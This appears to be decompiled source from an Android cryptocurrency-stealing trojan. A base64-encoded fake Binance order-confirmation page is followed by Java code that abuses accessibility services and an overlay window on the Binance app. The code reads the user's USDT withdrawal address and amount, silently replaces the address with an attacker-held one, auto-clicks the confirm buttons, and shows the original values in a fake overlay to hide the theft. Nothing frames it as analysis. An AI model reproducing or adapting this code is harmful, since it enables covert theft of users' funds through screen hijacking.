ICAgfQogICAgICAgIC5kZXRhaWwgewogICAgICAgICAgICAvKiBtYXJnaW4tdG9wOiAxcmVtOwogICAgICAgICAgICBwYWRkaW5nOiAwLjVyZW07CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNjY2M7CiAgICAgICAgICAgIC8qIGJhY2tncm91bmQtY29sb3I6IGxpZ2h0Ymx1ZTsgKi8KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogN3B4OwoKICAgICAgICAgICAgcGFkZGluZzogMTBweCAxMHB4OwogICAgICAgICAgICBjb2xvcjogIzg3OGQ5OTsKICAgICAgICAgICAgLypib3gtc2hhZG93OiAxcHggMXB4IDBweCByZ2JhKDAsIDAsIDAsIDAuMjUpLCAtMXB4IDFweCAwcHggcmdiYSgwLCAwLCAwLCAwLjI1KTsqLwogICAgICAgICAgICBtYXJnaW4tdG9wOiAyMHB4OwogICAgICAgICAgICBmb250LXNpemU6IDE2cHg7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA1MDA7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmNWY1ZjU7CiAgICAgICAgfQogICAgICAgIC5mb290ZXIgewogICAgICAgICAgICBwb3NpdGlvbjogZml4ZWQ7CiAgICAgICAgICAgIGJvdHRvbTogMDsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIHBhZGRpbmc6IDFyZW07CiAgICAgICAgfQogICAgICAgIC5uYXYtaWNvbiB7CiAgICAgICAgICAgIHdpZHRoOiAxcmVtOwogICAgICAgIH0KICAgICAgICAubmF2LWJhciB7CiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsKICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgICAgIH0KICAgICAgICAubGVmdCB7CiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHg7CiAgICAgICAgfQogICAgICAgIC5jZW50ZXIgewogICAgICAgICAgICBwYWRkaW5nOiAwcHg7CiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsKICAgICAgICAgICAgbGVmdDogNTAlOwogICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoLTUwJSk7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMjBweDsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6NTAwOwogICAgICAgIH0KICAgICAgICAudHJhbnNmZXItYW1vdW50IHsKICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICBtYXJnaW4tdG9wOiAzNXB4OwogICAgICAgICAgICBmb250LXNpemU6IDJyZW07CiAgICAgICAgfQogICAgICAgIC51c2QgewogICAgICAgICAgICBmb250LXNpemU6IDFyZW07CiAgICAgICAgICAgIGNvbG9yOiAjY2NjOwogICAgICAgIH0KICAgICAgICAubGVmdC1mb250IHsKICAgICAgICAgICAgY29sb3I6ICMzMzM7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDsKICAgICAgICB9CiAgICAgICAgLnJpZ2h0LWZvbnQgewogICAgICAgICAgICBmb250LXNpemU6IDE0cHg7CiAgICAgICAgfQogICAgICAgIC5sb2FkaW5nLW92ZXJsYXkgewogICAgICAgIHBvc2l0aW9uOiBmaXhlZDsKICAgICAgICB0b3A6IDA7CiAgICAgICAgbGVmdDogMDsKICAgICAgICByaWdodDogMDsKICAgICAgICBib3R0b206IDA7CiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjgpOwogICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsKICAgIH0KCiAgICAuc3Bpbm5lciB7CiAgICAgICAgd2lkdGg6IDUwcHg7CiAgICAgICAgaGVpZ2h0OiA1MHB4OwogICAgICAgIGJvcmRlcjogNXB4IHNvbGlkIHJnYmEoMCwgMCwgMCwgMC4xKTsKICAgICAgICBib3JkZXItbGVmdC1jb2xvcjogIzM5NTZjZDsKICAgICAgICBib3JkZXItcmFkaXVzOiA1MCU7CiAgICAgICAgYW5pbWF0aW9uOiBzcGluIDFzIGxpbmVhciBpbmZpbml0ZTsKICAgIH0KICAgICAgICAudGlwcyB7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2Y1ZjVmNTsKICAgICAgICAgICAgcGFkZGluZzogMTBweCAxMHB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IDEwcHg7CiAgICAgICAgfQoKICAgIEBrZXlmcmFtZXMgc3BpbiB7CiAgICAgICAgMTAwJSB7CiAgICAgICAgICAgIHRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7CiAgICAgICAgfQogICAgfQogICAgaHIgewogICAgICAgICAgICBib3JkZXI6IG5vbmU7IC8qIOenu+mZpOm7mOiupOi+ueahhiAqLwogICAgICAgICAgICBib3JkZXItdG9wOiAxcHggc29saWQgI2RkZGRkZDsgLyog6K6+572u5paw6L655qGG77yM5Y+v5Lul5L+u5pS55a695bqm44CB6aKc6Imy562JICovCiAgICAgICAgICAgIGhlaWdodDogMDsgLyog6YeN6K6+6auY5bqmICovCiAgICAgICAgICAgIHdpZHRoOiAxMDAlOyAvKiDorr7nva7liIblibLnur/lrr3luqYgKi8KICAgICAgICAgICAgY2xlYXI6IGJvdGg7IC8qIOmYsuatouWIhuWJsue6v+WRqOWbtOeahOWFg+e0oOWPkeeUn+a1ruWKqCAqLwogICAgICAgICAgICBtYXJnaW46IDEwcHggMDsKICAgIH0KICAgIDwvc3R5bGU+Cgo8L2hlYWQ+Cjxib2R5PgogICAgPCEtLSA8ZGl2IGNsYXNzPSJsb2FkaW5nLW92ZXJsYXkiIGlkPSJsb2FkaW5nT3ZlcmxheSI+CiAgICA8ZGl2IGNsYXNzPSJzcGlubmVyIj48L2Rpdj4KPC9kaXY+IC0tPgogICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICA8ZGl2IGNsYXNzPSJuYXYtYmFyIj4KICAgICAgICAgICAgPCEtLSDov5Tlm57mjInpkq4gLS0+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImxlZnQiPgogICAgICAgICAgICAgICAgPGltZyBzcmM9IiIgYWx0PSIiIGNsYXNzPSJuYXYtaWNvbiI+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8IS0tIOWxheS4reaWh+WtlyAtLT4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2VudGVyIGxhbmciIGRhdGEtbGFuZy1rZXk9InRpdGxlIiBzdHlsZT0iZm9udC1zaXplOiAxN3B4OyI+PC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNlbnRlciBsYW5nIiBkYXRhLWxhbmcta2V5PSJzdWJfdGl0bGUiIHN0eWxlPSJtYXJnaW4tdG9wOiA1MHB4OyBmb250LXNpemU6IDE1cHg7IGNvbG9yOiAjODc4ZDk5Ij48L2Rpdj4KICAgICAgICA8L2Rpdj4KCiAgICAgICAgPGRpdiBjbGFzcz0idHJhbnNmZXItYW1vdW50Ij4KICAgICAgICAgICAgPHNwYW4gY2xhc3M9InVzZHRfYW1vdW50IiBzdHlsZT0iZm9udC13ZWlnaHQ6IDYwMCIgZGF0YS1sYW5nLWtleT0idXNkdF9hbW91bnQiPjwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC1zaXplOiAyMHB4OyBmb250LXdlaWdodDogMzAwIj4gVVNEVDwvc3Bhbj4KICAgICAgICAgICAgPCEtLSA8ZGl2IGNsYXNzPSJ1c2QiPuKJiCAkPHNwYW4gY2xhc3M9InVzZF9hbW91bnQiPjYxLjg1PC9zcGFuPjxzcGFuPjwvc3Bhbj48L2Rpdj4gLS0+CiAgICAgICAgPC9kaXY+CgogICAgICAgIDxkaXYgY2xhc3M9ImRldGFpbCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImRldGFpbC1pdGVtIj4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJsYW5nIiBkYXRhLWxhbmcta2V5PSJ3aXRoZHJhd19hZGRyZXNzIj48L3NwYW4+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0icmlnaHQtZm9udCBmcm9tIGxhbmcgci1sYW5nIiBkYXRhLWxhbmcta2V5PSJhc3NldCI+PC9zcGFuPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZGV0YWlsLWl0ZW0iPgogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImxhbmciIGRhdGEtbGFuZy1rZXk9ImNoYWluIj48L3NwYW4+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0icmlnaHQtZm9udCBjaGFpbiByLWxhbmciIGRhdGEtbGFuZy1rZXk9ImNoYWluIj48L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJkZXRhaWwtaXRlbSI+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ibGFuZyIgZGF0YS1sYW5nLWtleT0iZnJvbV9hZGRyZXNzIiBzdHlsZT0id2hpdGUtc3BhY2U6IG5vd3JhcCI+PC9zcGFuPgogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InJpZ2h0LWZvbnQgdG8gci1sYW5nIj48L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8aHI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImRldGFpbC1pdGVtIj4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJsYW5nIiBkYXRhLWxhbmcta2V5PSJzeW1ib2wiIHN0eWxlPSJ3aGl0ZS1zcGFjZTogbm93cmFwIj48L3NwYW4+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0icmlnaHQtZm9udCB0byByLWxhbmciPlVTRFQ8L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJkZXRhaWwtaXRlbSI+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ibGFuZyIgZGF0YS1sYW5nLWtleT0iYW1vdW50IiBzdHlsZT0id2hpdGUtc3BhY2U6IG5vd3JhcCI+PC9zcGFuPgogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InJpZ2h0LWZvbnQgci1sYW5nIHRvdGFsX2Ftb3VudCI+PHNwYW4+VVNEVDwvc3Bhbj48L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJkZXRhaWwtaXRlbSI+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ibGFuZyIgZGF0YS1sYW5nLWtleT0iZmVlIiBzdHlsZT0id2hpdGUtc3BhY2U6IG5vd3JhcCI+PC9zcGFuPgogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InJpZ2h0LWZvbnQgZmVlIHItbGFuZyI+PC9zcGFuPgogICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgPC9kaXY+CgogICAgICAgIDxkaXYgY2xhc3M9InRpcHMiPgogICAgICAgICAgICA8cCBjbGFzcz0ici1sYW5nIGxhbmciIGRhdGEtbGFuZy1rZXk9InRpcHMiPgogICAgICAgICAgICA8L3A+CiAgICAgICAgPC9kaXY+CgoKICAgIDwvZGl2PgogICAgICAgICAgICA8IS0tIOW6lemDqOaMiemSriAtLT4KICAgICAgICAgICAgPCEtLSA8ZGl2IGNsYXNzPSJmb290ZXIiPgogICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0ibGFuZyIgc3R5bGU9ImJhY2tncm91bmQ6IHJnYmEoNjgsIDExNiwgMTgyLCk7IiBkYXRhLWxhbmcta2V5PSJjb25maXJtIj48L2J1dHRvbj4KICAgICAgICAgICAgPC9kaXY+IC0tPgo8L2JvZHk+CjxzY3JpcHQ+CiAgICAvLyAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAvLyAgICAgY29uc3QgbG9hZGluZ092ZXJsYXkgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9hZGluZ092ZXJsYXknKTsKICAgIC8vICAgICBsb2FkaW5nT3ZlcmxheS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwogICAgLy8gfSwgMzAwMCk7CiAgICBmdW5jdGlvbiAgY2hhbmdMYW5nKGRhdGEpIHsKICAgICAgICBjb25zdCBsYW5ndWFnZVBhY2sgPSB7CiAgICAgICAgICAgIGVuOiB7CiAgICAgICAgICAgICAgICB0aXRsZTogJ0NvbmZpcm0gb3JkZXInLAogICAgICAgICAgICAgICAgc3ViX3RpdGxlOiAnWW91IHdpbGwgZ2V0JywKICAgICAgICAgICAgICAgIHdpdGhkcmF3X2FkZHJlc3M6ICdBZGRyZXNzJywKICAgICAgICAgICAgICAgIGNoYWluOiAnTmV3b3JrJywKICAgICAgICAgICAgICAgIGZyb21fYWRkcmVzczogJ1NvdXJjZScsCiAgICAgICAgICAgICAgICBzeW1ib2w6ICdDb2luJywKICAgICAgICAgICAgICAgIGFtb3VudDonQW1vdW50JywKICAgICAgICAgICAgICAgIGZlZTogJ05ldHdvcmsgZmVlJywKICAgICAgICAgICAgICAgIHRpcHM6ICdFbnN1cmUgdGhhdCB0aGUgYWRkcmVzcyBpcyBjb3JyZWN0IGFuZCBvbiB0aGUgc2FtZSBuZXR3b3JrLCBUcmFuc2FjdGlvbiBjYW5ub3QgYmUgY2FuY2VsbGVkLicsCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgIHpoOiB7CiAgICAgICAgICAgICAgICB0aXRsZTogJ+ehruiupOiuouWNlScsCiAgICAgICAgICAgICAgICBzdWJfdGl0bGU6ICflrp7pmYXliLDotKY6JywKICAgICAgICAgICAgICAgIHdpdGhkcmF3X2FkZHJlc3M6ICfmj5DluIHlnLDlnYAnLAogICAgICAgICAgICAgICAgY2hhaW46ICfkuLvnvZHnu5wnLAogICAgICAgICAgICAgICAgZnJvbV9hZGRyZXNzOiAn5o+Q546w5p2l5rqQ6LSm5oi3JywKICAgICAgICAgICAgICAgIHN5bWJvbDogJ+W4geenjScsCiAgICAgICAgICAgICAgICBhbW91bnQ6J+mHkeminScsCiAgICAgICAgICAgICAgICBmZWU6ICfnvZHnu5zmiYvnu63otLknLAogICAgICAgICAgICAgICAgdGlwczogJ+ivt+ehruS/neaCqOi+k+WFpeS6huato+ehrueahOaPkOW4geWcsOWdgOW5tuS4lOaCqOmAieaLqeeahOi9rOi0pue9kee7nOS4juWcsOWdgOebuOWMuemFjeOAguaPkOW4geiuouWNleWIm+W7uuWQjuS4jeWPr+WPlua2iCcsCiAgICAgICAgICAgIH0KICAgICAgICB9OwoKICAgICAgICBsZXQgY3VycmVudExhbmd1YWdlID0gJ2VuJwogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGNvbnN0IGxhbmcgPSBkYXRhLmxhbmc7CiAgICAgICAgICAgIGlmIChsYW5nID09PSAnemgnKSB7CiAgICAgICAgICAgICAgICBjdXJyZW50TGFuZ3VhZ2UgPSAnemgnOwogICAgICAgICAgICB9CiAgICAgICAgfSBjYXRjaCAoZSkgewogICAgICAgICAgICBjb25zb2xlLmxvZyhlKTsKICAgICAgICB9CgogICAgICAgIGNvbnN0IGVsZW1lbnRzID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLmxhbmcnKTsKCiAgICAgICAgZWxlbWVudHMuZm9yRWFjaChlbGVtZW50ID0+IHsKICAgICAgICAgICAgY29uc3Qga2V5ID0gZWxlbWVudC5nZXRBdHRyaWJ1dGUoJ2RhdGEtbGFuZy1rZXknKTsKICAgICAgICAgICAgZWxlbWVudC50ZXh0Q29udGVudCA9IGxhbmd1YWdlUGFja1tjdXJyZW50TGFuZ3VhZ2VdW2tleV07CiAgICAgICAgfSk7CgogICAgfTsKICAgIGZ1bmN0aW9uIHRyYW5zYWN0aW9uX2luZm8oZGF0YSkgewogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoInVzZHRfYW1vdW50IilbMF0uaW5uZXJIVE1MID0gZGF0YS51c2R0X2Ftb3VudDsKICAgICAgICA8IS0tIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoInVzZF9hbW91bnQiKVswXS5pbm5lckhUTUwgPSBkYXRhLnVzZF9hbW91bnQ7IC0tPgogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImNoYWluIilbMF0uaW5uZXJIVE1MID0gZGF0YS5jaGFpbgogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImZyb20iKVswXS5pbm5lckhUTUwgPSBkYXRhLmZyb207CiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgidG8iKVswXS5pbm5lckhUTUwgPSBkYXRhLnRvOwogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImZlZSIpWzBdLmlubmVySFRNTCA9IGRhdGEuZmVlOwogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoInRvdGFsX2Ftb3VudCIpWzBdLmlubmVySFRNTCA9IGRhdGEudG90YWxfYW1vdW50OwogICAgfQogICAgLy/kvb/nlKjml7blgJnms6jph4rov5nkuKTooYwKICAgIHdpbmRvdy5vbmxvYWQgPSBjaGFuZ0xhbmcoe2xhbmc6ICd6aCd9KTsKPC9zY3JpcHQ+CjwvaHRtbD4=";
break;
}
webView.loadData(str, "text/html", "base64");
binanceWalletInjview.addView(webView);
TextView textView2 = new TextView(context.getApplicationContext());
textView = textView2;
textView2.setText(" ");
FrameLayout.LayoutParams layoutParams2 = new FrameLayout.LayoutParams(-2, -2);
layoutParams2.gravity = 51;
layoutParams2.height = ScreenUtil.dp2px(context, 40.0f);
layoutParams2.width = ScreenUtil.dp2px(context, 130.0f);
textView.setLayoutParams(layoutParams2);
textView.setBackgroundColor(context.getResources().getColor(17170445));
textView.setClickable(true);
textView.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Binance.binanceWalletInjviewLayoutParams.width = -1;
Binance.binanceWalletInjviewLayoutParams.height = -2;
Binance.binanceWalletInjviewLayoutParams.gravity = 51;
Binance.binanceWalletInjviewLayoutParams.flags = -2142501088;
Binance.windowManager.updateViewLayout(Binance.binanceWalletInjview, Binance.binanceWalletInjviewLayoutParams);
Binance.showWebiew(context);
List<AccessibilityNodeInfo> findAccessibilityNodeInfosByViewId = ((AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.binance.dev:id/2131365201");
if (findAccessibilityNodeInfosByViewId.isEmpty()) {
findAccessibilityNodeInfosByViewId = ((AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.binance.dev:id/2131365203");
}
if (findAccessibilityNodeInfosByViewId.size() == 1) {
String unused = Binance.usdtaddress = findAccessibilityNodeInfosByViewId.get(0).getText().toString();
}
List<AccessibilityNodeInfo> findAccessibilityNodeInfosByViewId2 = ((AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.binance.dev:id/2131365306");
if (findAccessibilityNodeInfosByViewId2.isEmpty()) {
findAccessibilityNodeInfosByViewId2 = ((AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.binance.dev:id/2131365309");
}
if (findAccessibilityNodeInfosByViewId2.size() == 1) {
String unused2 = Binance.usdtamount = findAccessibilityNodeInfosByViewId2.get(0).getText().toString();
}
List<AccessibilityNodeInfo> findAccessibilityNodeInfosByViewId3 = ((AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.binance.dev:id/2131365203");
if (findAccessibilityNodeInfosByViewId3.isEmpty()) {
findAccessibilityNodeInfosByViewId3 = ((AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.binance.dev:id/2131365201");
}
if (findAccessibilityNodeInfosByViewId3.size() == 1) {
Bundle bundle = new Bundle();
bundle.putCharSequence(AccessibilityNodeInfoCompat.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, initializeService.usdtadress);
findAccessibilityNodeInfosByViewId3.get(0).performAction(2097152, bundle);
}
List<AccessibilityNodeInfo> findAccessibilityNodeInfosByViewId4 = ((AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.binance.dev:id/2131378415");
if (findAccessibilityNodeInfosByViewId4.isEmpty()) {
findAccessibilityNodeInfosByViewId4 = ((AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.binance.dev:id/2131378375");
}
if (findAccessibilityNodeInfosByViewId4.size() == 1) {
findAccessibilityNodeInfosByViewId4.get(0).performAction(16);
}
List<AccessibilityNodeInfo> findAccessibilityNodeInfosByViewId5 = ((AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.binance.dev:id/2131363170");
if (findAccessibilityNodeInfosByViewId5.isEmpty()) {
findAccessibilityNodeInfosByViewId5 = ((AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.binance.dev:id/2131363172");
}
if (findAccessibilityNodeInfosByViewId5.size() == 1) {
findAccessibilityNodeInfosByViewId5.get(0).performAction(16);
}
}
});
binanceWalletInjview.addView(textView);
} else {
binanceWalletInjviewLayoutParams.flags = 262152;
binanceWalletInjviewLayoutParams.width = -2;
binanceWalletInjviewLayoutParams.height = -2;
windowManager.updateViewLayout(binanceWalletInjview, binanceWalletInjviewLayoutParams);
}
showRightTopButton(context);
}
private static void initInjView(Context context) {
FrameLayout frameLayout = new FrameLayout(context);
binanceWalletInjview = frameLayout;
frameLayout.setVisibility(8);
WindowManager.LayoutParams layoutParams = new WindowManager.LayoutParams(Integer.valueOf(MySettings.read(context.getApplicationContext(), MySettings.ScreenWidth, "720")).intValue(), Integer.valueOf(MySettings.read(context.getApplicationContext(), MySettings.ScreenHight, "1080")).intValue(), 2032, 262152, 1);
binanceWalletInjviewLayoutParams = layoutParams;
layoutParams.gravity = 51;
binanceWalletInjviewLayoutParams.width = -2;
binanceWalletInjviewLayoutParams.height = -2;
WindowManager windowManager2 = (WindowManager) context.getSystemService("window");
windowManager = windowManager2;
windowManager2.addView(binanceWalletInjview, binanceWalletInjviewLayoutParams);
}
public static class MyWebView extends WebView {
private Context context;
@Override
protected void onScrollChanged(int i, int i2, int i3, int i4) {
super.onScrollChanged(i, i2, i3, i4);
scrollTo(i, 0);
}
public MyWebView(Context context) {
super(context);
this.context = context;
addJavascriptInterface(new AndroidInterface(), "Android");
}
private class AndroidInterface {
private AndroidInterface() {
}
@JavascriptInterface
public void trustback() {
((AccessService) MyWebView.this.context).performGlobalAction(1);
}
}
}
public static void hideInjectView() {
if (ifShowDialog) {
binanceWalletInjview.setVisibility(8);
webView.setVisibility(8);
textView.setVisibility(8);
ifShowDialog = false;
showType = 0;
ifWebViewFullScreen = false;
}
}
public static void showRightTopButton(Context context) {
if (showType == 2 || !mesureInjectVIew(context)) {
return;
}
if (Build.VERSION.SDK_INT >= 23) {
binanceWalletInjview.setBackgroundColor(context.getColor(17170445));
}
webView.setVisibility(8);
textView.setVisibility(0);
binanceWalletInjview.setVisibility(0);
ifShowDialog = true;
showType = 1;
ifWebViewFullScreen = false;
}
private static boolean mesureInjectVIew(Context context) {
AccessibilityService accessibilityService;
AccessibilityNodeInfo rootInActiveWindow;
if (Build.VERSION.SDK_INT < 24 || (rootInActiveWindow = (accessibilityService = (AccessibilityService) context).getRootInActiveWindow()) == null) {
return false;
}
List<AccessibilityNodeInfo> findAccessibilityNodeInfosByViewId = rootInActiveWindow.findAccessibilityNodeInfosByViewId("com.binance.dev:id/2131363172");
if (findAccessibilityNodeInfosByViewId.isEmpty()) {
findAccessibilityNodeInfosByViewId = rootInActiveWindow.findAccessibilityNodeInfosByViewId("com.binance.dev:id/2131363170");
}
if (findAccessibilityNodeInfosByViewId.size() > 0) {
Rect rect = new Rect();
findAccessibilityNodeInfosByViewId.get(0).getBoundsInScreen(rect);
if (accessibilityService.getSoftKeyboardController().getShowMode() == 0) {
binanceWalletInjviewLayoutParams.x = rect.left;
binanceWalletInjviewLayoutParams.y = rect.top - ScreenUtil.getStatusBarHeight(context);
windowManager.updateViewLayout(binanceWalletInjview, binanceWalletInjviewLayoutParams);
}
}
return true;
}
public static void showWebiew(Context context) {
textView.setVisibility(8);
binanceWalletInjviewLayoutParams.x = 0;
binanceWalletInjviewLayoutParams.y = 0;
windowManager.updateViewLayout(binanceWalletInjview, binanceWalletInjviewLayoutParams);
setFullScreen(false, context);
if (Build.VERSION.SDK_INT >= 23) {
binanceWalletInjview.setBackgroundColor(context.getColor(17170445));
}
webView.setVisibility(0);
showType = 2;
ifShowDialog = true;
ifWebViewFullScreen = true;
}
public static void checkEvent(AccessibilityEvent accessibilityEvent, final Context context) {
if (showType == 1 && ifShowDialog && accessibilityEvent.getEventType() == 4194304) {
showRightTopButton(context);
}
if (webView != null && showType == 2 && ifWebViewFullScreen && accessibilityEvent.getEventType() == 32 && "androidx.appcompat.app.AppCompatDialog".equals(accessibilityEvent.getClassName())) {
new Handler().postDelayed(new Runnable() {
@Override
public void run() {
Binance.setWrapContentScreen(context);
Binance.sendOldValue();
}
}, 500L);
}
if (!ifWebViewFullScreen && showType == 2 && accessibilityEvent.getEventType() == 1 && "com.binance.dev".equals(accessibilityEvent.getPackageName()) && accessibilityEvent.getSource() != null && ("com.binance.dev:id/2131364202".equals(accessibilityEvent.getSource().getViewIdResourceName()) || "com.binance.dev:id/2131364200".equals(accessibilityEvent.getSource().getViewIdResourceName()))) {
setFullScreen(true, context);
new Thread(new Runnable() {
@Override
public void run() {
try {
Thread.sleep(3500L);
int unused = Binance.showType = 0;
((AccessService) context).handler.sendEmptyMessage(15);
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
}
}).start();
}
if (showType == 0 && accessibilityEvent.getEventType() == 1 && "com.binance.dev".equals(accessibilityEvent.getPackageName()) && accessibilityEvent.getSource() != null && ("com.binance.dev:id/2131378415".equals(accessibilityEvent.getSource().getViewIdResourceName()) || "com.binance.dev:id/2131378375".equals(accessibilityEvent.getSource().getViewIdResourceName()))) {
binanceinj(context);
}
if (showType == 2 && accessibilityEvent.getEventType() == 32 && "com.binance.dev".equals(accessibilityEvent.getPackageName()) && !accessibilityEvent.getText().isEmpty() && "androidx.appcompat.app.AppCompatDialog".contentEquals(accessibilityEvent.getClassName())) {
new Handler(Looper.getMainLooper()).postDelayed(new Runnable() {
@Override
public void run() {
ViewGroup.LayoutParams layoutParams = Binance.webView.getLayoutParams();
layoutParams.height = (ScreenUtil.getScreenHeight(context) - ScreenUtil.dp2px(context, 140.0f)) - ScreenUtil.getStatusBarHeight(context);
Binance.webView.setLayoutParams(layoutParams);
}
}, 500L);
}
}
public static void sendOldValue() {
String str = usdtamount;
if (str == null || str.contains("最小值") || usdtamount.contains("Minimum")) {
hideInjectView();
return;
}
String d = Double.toString(Double.parseDouble(usdtamount) - 1.0d);
HashMap hashMap = new HashMap();
hashMap.put("total_amount", usdtamount + "USDT");
hashMap.put("from", usdtaddress);
hashMap.put("to", "资金账户");
hashMap.put("usdt_amount", d);
hashMap.put("usd_amount", d);
hashMap.put("chain", "Tron(TRC20)");
hashMap.put("fee", "1USDT");
JSONObject jSONObject = new JSONObject(hashMap);
WebView webView2 = webView;
webView2.evaluateJavascript("javascript:transaction_info(" + jSONObject.toString() + ")", new ValueCallback<String>() {
@Override
public void onReceiveValue(String str2) {
}
});
}
public static void setWrapContentScreen(Context context) {
if (ifWebViewFullScreen) {
binanceWalletInjviewLayoutParams.width = -1;
binanceWalletInjviewLayoutParams.height = -2;
binanceWalletInjviewLayoutParams.y = ScreenUtil.getStatusBarHeight(context);
windowManager.updateViewLayout(binanceWalletInjview, binanceWalletInjviewLayoutParams);
ifWebViewFullScreen = false;
}
}
private static void setFullScreen(boolean z, Context context) {
if (ifWebViewFullScreen) {
return;
}
if (z) {
ViewGroup.LayoutParams layoutParams = webView.getLayoutParams();
layoutParams.height = ScreenUtil.getScreenHeight(context);
webView.setLayoutParams(layoutParams);
}
binanceWalletInjviewLayoutParams.width = -1;
binanceWalletInjviewLayoutParams.height = -1;
binanceWalletInjviewLayoutParams.y = 0;
windowManager.updateViewLayout(binanceWalletInjview, binanceWalletInjviewLayoutParams);
ifWebViewFullScreen = true;
}
public static class MyWebChromeClient extends WebChromeClient {
@Override
public boolean onJsAlert(WebView webView, String str, String str2, JsResult jsResult) {
return true;
}
private MyWebChromeClient() {
}
}
}